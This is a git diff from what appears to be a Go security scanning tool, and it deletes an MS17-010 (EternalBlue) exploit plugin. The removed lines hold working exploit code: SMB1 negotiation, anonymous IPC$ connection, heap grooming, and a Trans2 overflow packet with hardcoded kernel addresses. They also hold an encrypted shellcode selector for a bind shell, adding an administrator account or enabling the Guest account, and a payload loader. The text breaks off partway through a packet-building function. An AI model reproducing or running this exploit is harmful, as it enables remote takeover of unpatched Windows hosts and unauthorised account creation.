- var sc string - - // 根据不同类型选择shellcode (从MS17010-Exp.go复制) - switch config.Shellcode { - case "bind": - // Bind Shell shellcode (加密) - scEnc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK" - var err error - sc, err = aesDecrypt(scEnc, defaultKey) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("ms17010_bind_shellcode_decrypt_failed"), err) - } - - case "add": - // 添加管理员账户 shellcode (加密) - scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xOs7UApLzuCcE52FhTIjY+ckzBVinUHHwwc4QyY6Xo/15ATcQoL7ZiQgii3xFhrJQGnHgQBsmqT/0A1YBa+rrvIIzblF3FDRlXwAvUVTKnCjDJV9NeiS78jgtx6TNlBDyKCy29E3WGbMKSMH2a+dmtjBhmJ94O8GnbrHyd5c8zxsNXRBaYBV/tVyB9TDtM9kZk5QTit+xN2wOUwFa9cNbpYak8VH552mu7KISA1dUPAMQm9kF5vDRTRxjVLqpqHOc+36lNi6AWrGQkXNKcZJclmO7RotKdtPtCayNGV7/pznvewyGgEYvRKprmzf6hl+9acZmnyQZvlueWeqf+I6axiCyHqfaI+ADmz4RyJOlOC5s1Ds6uyNs+zUXCz7ty4rU3hCD8N6v2UagBJaP66XCiLOL+wcx6NJfBy40dWTq9RM0a6b448q3/mXZvdwzj1Evlcu5tDJHMdl+R2Q0a/1nahzsZ6UMJb9GAvMSUfeL9Cba77Hb5ZU40tyTQPl28cRedhwiISDq5UQsTRw35Z7bDAxJvPHiaC4hvfW3gA0iqPpkqcRfPEV7d+ylSTV1Mm9+NCS1Pn5VDIIjlClhlRf5l+4rCmeIPxQvVD/CPBM0NJ6y1oTzAGFN43kYqMV8neRAazACczYqziQ6VgjATzp0k8" - var err error - sc, err = aesDecrypt(scEnc, defaultKey) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("ms17010_add_shellcode_decrypt_failed"), err) - } - - case "guest": - // 激活Guest账户 shellcode (加密) - scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx" - var err error - sc, err = aesDecrypt(scEnc, defaultKey) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("ms17010_guest_shellcode_decrypt_failed"), err) - } - - case "cs": - sc = "" - - default: - // 从文件读取或直接使用提供的shellcode - shellcode := config.Shellcode - if strings.Contains(shellcode, "file:") { - read, err := os.ReadFile(shellcode[5:]) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("ms17010_shellcode_file_read_failed"), err) - } - sc = fmt.Sprintf("%x", read) - } else { - sc = shellcode - } - } - - // 验证shellcode有效性 - if len(sc) < 20 { - return fmt.Errorf("%s", i18n.GetText("ms17010_invalid_shellcode")) - } - - // 解码shellcode - scBytes, err := hex.DecodeString(sc) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("ms17010_shellcode_decode_failed"), err) - } - - if err = eternalBlue(net.JoinHostPort(info.Host, "445"), 12, 12, scBytes); err != nil { - return fmt.Errorf("MS17-010 exp failed: %w", err) - } - - session.LogSuccess(i18n.Tr("ms17010_shellcode_complete", info.Host, len(scBytes))) - return nil -} - // init 自动注册插件 func init() { // 使用高效注册方式:直接传递端口信息,避免实例创建 diff --git a/plugins/services/ms17010_exp.go b/plugins/services/ms17010_exp.go deleted file mode 100644 index 56ccb36e..00000000 --- a/plugins/services/ms17010_exp.go +++ /dev/null @@ -1,1058 +0,0 @@ -//go:build plugin_ms17010 || !plugin_selective - -package services - -import ( - "bytes" - "encoding/binary" - "fmt" - "io" - "net" - "time" -) - -func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error { - // check sc size - const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16 - l := len(sc) - if l > maxscSize { - //fmt.Println(maxscSize) - return fmt.Errorf("sc size %d > %d big %d", l, maxscSize, l-maxscSize) - } - payload := makeKernelUserPayload(sc) - var ( - grooms int - err error - ) - for i := 0; i < maxAttempts; i++ { - grooms = initialGrooms + 5*i - err = exploit(address, grooms, payload) - if err == nil { - return nil - } - } - return err -} - -func exploit(address string, grooms int, payload []byte) error { - // connect host - header, conn, err := smb1AnonymousConnectIPC(address) - if err != nil { - return err - } - defer func() { _ = conn.Close() }() - // send SMB1 large buffer - _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) - err = smb1LargeBuffer(conn, header) - if err != nil { - return err - } - // initialize groom threads - fhsConn, err := smb1FreeHole(address, true) - if err != nil { - return err - } - defer func() { _ = fhsConn.Close() }() - // groom socket - groomConns, err := smb2Grooms(address, grooms) - if err != nil { - return err - } - fhfConn, err := smb1FreeHole(address, false) - if err != nil { - return err - } - _ = fhsConn.Close() - // grooms - groomConns2, err := smb2Grooms(address, 6) - if err != nil { - return err - } - _ = fhfConn.Close() - groomConns = append(groomConns, groomConns2...) - defer func() { - for i := 0; i < len(groomConns); i++ { - _ = groomConns[i].Close() - } - }() - - //fmt.Println("Running final exploit packet") - err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) - if err != nil { - return err - } - treeID := header.TreeID - userID := header.UserID - finalPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 15, "exploit") - _, err = conn.Write(finalPacket) - if err != nil { - return fmt.Errorf("failed to send final exploit packet: %s", err) - } - raw, _, err := smb1GetResponse(conn) - if err != nil { - return fmt.Errorf("failed to get response about exploit: %s", err) - } - ntStatus := make([]byte, 4) - ntStatus[0] = raw[8] - ntStatus[1] = raw[7] - ntStatus[2] = raw[6] - ntStatus[3] = raw[5] - - //fmt.Printf("NT Status: 0x%08X\n", ntStatus) - - //fmt.Println("send the payload with the grooms") - - body := makeSMB2Body(payload) - - for i := 0; i < len(groomConns); i++ { - _, err = groomConns[i].Write(body[:2920]) - if err != nil { - return err - } - } - for i := 0; i < len(groomConns); i++ { - _, err = groomConns[i].Write(body[2920:4073]) - if err != nil { - return err - } - } - return nil -} - -func makeKernelUserPayload(sc []byte) []byte { - // test DoublePulsar - buf := bytes.Buffer{} - buf.Write(loader[:]) - // write sc size - size := make([]byte, 2) - binary.LittleEndian.PutUint16(size, uint16(len(sc))) - buf.Write(size) - buf.Write(sc) - return buf.Bytes() -} - -func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) { - conn, err := net.DialTimeout("tcp", address, 10*time.Second) - if err != nil { - return nil, nil, fmt.Errorf("failed to connect host: %s", err) - } - var ok bool - defer func() { - if !ok { - _ = conn.Close() - } - }() - err = smbClientNegotiate(conn) - if err != nil { - return nil, nil, fmt.Errorf("failed to negotiate: %s", err) - } - raw, header, err := smb1AnonymousLogin(conn) - if err != nil { - return nil, nil, fmt.Errorf("failed to login with anonymous: %s", err) - } - _, err = getOSName(raw) - if err != nil { - return nil, nil, fmt.Errorf("failed to get OS name: %s", err) - } - //fmt.Println("OS:", osName) - header, err = treeConnectAndX(conn, address, header.UserID) - if err != nil { - return nil, nil, fmt.Errorf("failed to tree connect AndX: %s", err) - } - ok = true - return header, conn, nil -} - -const smbHeaderSize = 32 - -type smbHeader struct { - ServerComponent [4]byte - SMBCommand uint8 - ErrorClass uint8 - Reserved byte - ErrorCode uint16 - Flags uint8 - Flags2 uint16 - ProcessIDHigh uint16 - Signature [8]byte - Reserved2 [2]byte - TreeID uint16 - ProcessID uint16 - UserID uint16 - MultiplexID uint16 -} - -func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) { - // net BIOS - buf := make([]byte, 4) - _, err := io.ReadFull(conn, buf) - if err != nil { - const format = "failed to get SMB1 response about NetBIOS session service: %s" - return nil, nil, fmt.Errorf(format, err) - } - typ := buf[0] - if typ != 0x00 { - const format = "invalid message type 0x%02X in SMB1 response" - return nil, nil, fmt.Errorf(format, typ) - } - sizeBuf := make([]byte, 4) - copy(sizeBuf[1:], buf[1:]) - size := int(binary.BigEndian.Uint32(sizeBuf)) - // 畸形响应(size < SMB 头长度)会导致后续 buf[:smbHeaderSize] 越界 panic - if size < smbHeaderSize { - return nil, nil, fmt.Errorf("SMB1 response too short: %d bytes", size) - } - // SMB - buf = make([]byte, size) - _, err = io.ReadFull(conn, buf) - if err != nil { - const format = "failed to get SMB1 response about header: %s" - return nil, nil, fmt.Errorf(format, err) - } - smbHeader := smbHeader{} - reader := bytes.NewReader(buf[:smbHeaderSize]) - err = binary.Read(reader, binary.LittleEndian, &smbHeader) - if err != nil { - const format = "failed to parse SMB1 response header: %s" - return nil, nil, fmt.Errorf(format, err) - } - return buf, &smbHeader, nil -} - -func smbClientNegotiate(conn net.Conn) error { - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x54}) - - // --------Server Message Block Protocol-------- - - // server_component: .SMB - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // smb_command: Negotiate Protocol - buf.WriteByte(0x72) - // NT status - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x01, 0x28}) - // process_id_high - buf.Write([]byte{0x00, 0x00}) - // signature - buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - buf.Write([]byte{0x00, 0x00}) - // process id - buf.Write([]byte{0x2F, 0x4B}) - // user id - buf.Write([]byte{0x00, 0x00}) - // multiplex id - buf.Write([]byte{0xC5, 0x5E}) - - // --------Negotiate Protocol Request-------- - - // word_count - buf.WriteByte(0x00) - // byte_count - buf.Write([]byte{0x31, 0x00}) - - // dialect name: LAN MAN1.0 - buf.WriteByte(0x02) - buf.Write([]byte{0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, - 0x30, 0x00}) - - // dialect name: LM1.2X002 - buf.WriteByte(0x02) - buf.Write([]byte{0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, - 0x32, 0x00}) - - // dialect name: NT LAN MAN 1.0 - buf.WriteByte(0x02) - buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x41, 0x4E, 0x4D, 0x41, - 0x4E, 0x20, 0x31, 0x2E, 0x30, 0x00}) - - // dialect name: NT LM 0.12 - buf.WriteByte(0x02) - buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, - 0x31, 0x32, 0x00}) - - // send packet - _, err := buf.WriteTo(conn) - if err != nil { - return err - } - _, _, err = smb1GetResponse(conn) - return err -} - -func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) { - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // session message - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x88}) - - // --------Server Message Block Protocol-------- - - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Session Setup AndX - buf.WriteByte(0x73) - // NT SUCCESS - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // Signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // Signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // TreeID - buf.Write([]byte{0x00, 0x00}) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // user id - buf.Write([]byte{0x00, 0x00}) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------Session Setup AndX Request-------- - - // word count - buf.WriteByte(0x0D) - // no further commands - buf.WriteByte(0xFF) - // reserved - buf.WriteByte(0x00) - // AndX offset - buf.Write([]byte{0x88, 0x00}) - // max buffer - buf.Write([]byte{0x04, 0x11}) - // max mpx count - buf.Write([]byte{0x0A, 0x00}) - // VC Number - buf.Write([]byte{0x00, 0x00}) - // session key - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // ANSI password length - buf.Write([]byte{0x01, 0x00}) - // unicode password length - buf.Write([]byte{0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // capabilities - buf.Write([]byte{0xD4, 0x00, 0x00, 0x00}) - // bytes count - buf.Write([]byte{0x4b, 0x00}) - // ANSI password - buf.WriteByte(0x00) - // account name - buf.Write([]byte{0x00, 0x00}) - // domain name - buf.Write([]byte{0x00, 0x00}) - - // native OS: Windows 2000 2195 - buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, - 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) - buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, - 0x00, 0x32, 0x00, 0x31, 0x00, 0x39, 0x00, 0x35, 0x00}) - buf.Write([]byte{0x00, 0x00}) - - // native LAN manager: Windows 2000 5.0 - buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, - 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) - buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, - 0x00, 0x35, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x00, 0x00}) - - // send packet - _, err := buf.WriteTo(conn) - if err != nil { - return nil, nil, err - } - return smb1GetResponse(conn) -} - -// skip smb header, word count, AndXCommand, Reserved, -// AndXOffset, Action, Byte count and a magic 0x41 (A) -func getOSName(raw []byte) (string, error) { - osBuf := bytes.Buffer{} - reader := bytes.NewReader(raw[smbHeaderSize+10:]) - char := make([]byte, 2) - for { - _, err := io.ReadFull(reader, char) - if err != nil { - return "", err - } - if bytes.Equal(char, []byte{0x00, 0x00}) { - break - } - osBuf.Write(char) - } - osBufLen := osBuf.Len() - osName := make([]byte, 0, osBufLen/2) - b := osBuf.Bytes() - for i := 0; i < osBufLen; i += 2 { - osName = append(osName, b[i]) - } - return string(osName), nil -} - -func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader, error) { - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length, it will changed at the end of the function - buf.Write([]byte{0x00, 0x00, 0x00}) - - // --------Server Message Block Protocol-------- - - // server component - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // smb command: Tree Connect AndX - buf.WriteByte(0x75) - // NT status - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x01, 0x20}) - // process id high - buf.Write([]byte{0x00, 0x00}) - // signature - buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - buf.Write([]byte{0x00, 0x00}) - // process id - buf.Write([]byte{0x2F, 0x4B}) - // user id - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - // multiplex id - buf.Write([]byte{0xC5, 0x5E}) - - // --------Tree Connect AndX Request-------- - - // word count - buf.WriteByte(0x04) - // AndXCommand: No further commands - buf.WriteByte(0xFF) - // reserved - buf.WriteByte(0x00) - // AndXOffset - buf.Write([]byte{0x00, 0x00}) - // flags - buf.Write([]byte{0x00, 0x00}) - // password length - buf.Write([]byte{0x01, 0x00}) - // byte count - buf.Write([]byte{0x1A, 0x00}) - // password - buf.WriteByte(0x00) - // IPC - host, _, err := net.SplitHostPort(address) - if err != nil { - return nil, err - } - _, _ = fmt.Fprintf(&buf, "\\\\%s\\IPC$", host) - // null byte after ipc added by kev - buf.WriteByte(0x00) - // service - buf.Write([]byte{0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x00}) - - // update packet size - b := buf.Bytes() - sizeBuf := make([]byte, 4) - binary.BigEndian.PutUint32(sizeBuf, uint32(buf.Len()-4)) - copy(b[1:], sizeBuf[1:]) - - // send packet - _, err = buf.WriteTo(conn) - if err != nil { - return nil, err - } - _, header, err := smb1GetResponse(conn) - return header, err -} - -func smb1LargeBuffer(conn net.Conn, header *smbHeader) error { - transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID) - if err != nil { - return fmt.Errorf("failed to send nt trans: %s", err) - } - // initial trans2 request - treeID := transHeader.TreeID - userID := transHeader.UserID - trans2Packet := makeSMB1Trans2ExploitPacket(treeID, userID, 0, "zero") - // send all but the last packet - for i := 1; i < 15; i++ { - packet := makeSMB1Trans2ExploitPacket(treeID, userID, i, "buffer") - trans2Packet = append(trans2Packet, packet...) - } - smb1EchoPacket := makeSMB1EchoPacket(treeID, userID) - trans2Packet = append(trans2Packet, smb1EchoPacket...) - - _, err = conn.Write(trans2Packet) - if err != nil { - return fmt.Errorf("failed to send large buffer: %s", err) - } - _, _, err = smb1GetResponse(conn) - return err -} - -func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) { - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x04, 0x38}) - - // --------Server Message Block Protocol-------- - - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // NT Trans - buf.WriteByte(0xA0) - // NT success - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - treeIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(treeIDBuf, treeID) - buf.Write(treeIDBuf) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // user id - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------NT Trans Request-------- - - // word count - buf.WriteByte(0x14) - // max setup count - buf.WriteByte(0x01) - // reserved - buf.Write([]byte{0x00, 0x00}) - // total param count - buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) - // total data count - buf.Write([]byte{0xd0, 0x03, 0x01, 0x00}) - // max param count - buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) - // max data count - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // param count - buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) - // param offset - buf.Write([]byte{0x4B, 0x00, 0x00, 0x00}) - // data count - buf.Write([]byte{0xd0, 0x03, 0x00, 0x00}) - // data offset - buf.Write([]byte{0x68, 0x00, 0x00, 0x00}) - // setup count - buf.WriteByte(0x01) - // function - buf.Write([]byte{0x00, 0x00}) - // unknown NT transaction (0) setup - buf.Write([]byte{0x00, 0x00}) - // byte count - buf.Write([]byte{0xEC, 0x03}) - // NT parameters - buf.Write(makeZero(0x1F)) - // undocumented - buf.WriteByte(0x01) - buf.Write(makeZero(0x03CD)) - - // send packet - _, err := buf.WriteTo(conn) - if err != nil { - return nil, err - } - _, header, err := smb1GetResponse(conn) - return header, err -} - -func makeSMB1Trans2ExploitPacket(treeID, userID uint16, timeout int, typ string) []byte { - timeout = timeout*0x10 + 3 - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x10, 0x35}) - - // --------Server Message Block Protocol-------- - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Trans2 request - buf.WriteByte(0x33) - // NT success - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - treeIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(treeIDBuf, treeID) - buf.Write(treeIDBuf) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // user id - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------Trans2 Second Request-------- - - // word count - buf.WriteByte(0x09) - // total param count - buf.Write([]byte{0x00, 0x00}) - // total data count - buf.Write([]byte{0x00, 0x10}) - // max param count - buf.Write([]byte{0x00, 0x00}) - // max data count - buf.Write([]byte{0x00, 0x00}) - // max setup count - buf.WriteByte(0x00) - // reserved - buf.WriteByte(0x00) - // flags - buf.Write([]byte{0x00, 0x10}) - // timeouts - buf.Write([]byte{0x35, 0x00, 0xD0}) - // timeout is a single int - buf.WriteByte(byte(timeout)) - // reserved - buf.Write([]byte{0x00, 0x00}) - // parameter count - buf.Write([]byte{0x00, 0x10}) - - switch typ { - case "exploit": - // overflow - buf.Write(bytes.Repeat([]byte{0x41}, 2957)) - buf.Write([]byte{0x80, 0x00, 0xA8, 0x00}) - - buf.Write(makeZero(0x10)) - buf.Write([]byte{0xFF, 0xFF}) - buf.Write(makeZero(0x06)) - buf.Write([]byte{0xFF, 0xFF}) - buf.Write(makeZero(0x16)) - - // x86 addresses - buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x20, 0xF0, 0xDF, 0xFF}) - - // x64 addresses - buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - - buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) - buf.Write(makeZero(0x04)) - - buf.Write([]byte{0x80, 0xEF, 0xDF, 0xFF}) - - buf.Write(makeZero(0x04)) - buf.Write([]byte{0x10, 0x00, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write([]byte{0x18, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x10)) - - buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) - buf.Write(makeZero(0x0C)) - buf.Write([]byte{0x90, 0xFF, 0xCF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x80, 0x10}) - buf.Write(makeZero(0x0E)) - buf.WriteByte(0x39) - buf.WriteByte(0xBB) - - buf.Write(bytes.Repeat([]byte{0x41}, 965)) - case "zero": - buf.Write(makeZero(2055)) - buf.Write([]byte{0x83, 0xF3}) - - buf.Write(bytes.Repeat([]byte{0x41}, 2039)) - default: - buf.Write(bytes.Repeat([]byte{0x41}, 4096)) - } - return buf.Bytes() -} - -func makeSMB1EchoPacket(treeID, userID uint16) []byte { - buf := bytes.Buffer{} - - // --------NetBIOS Session Service-------- - - // message type - 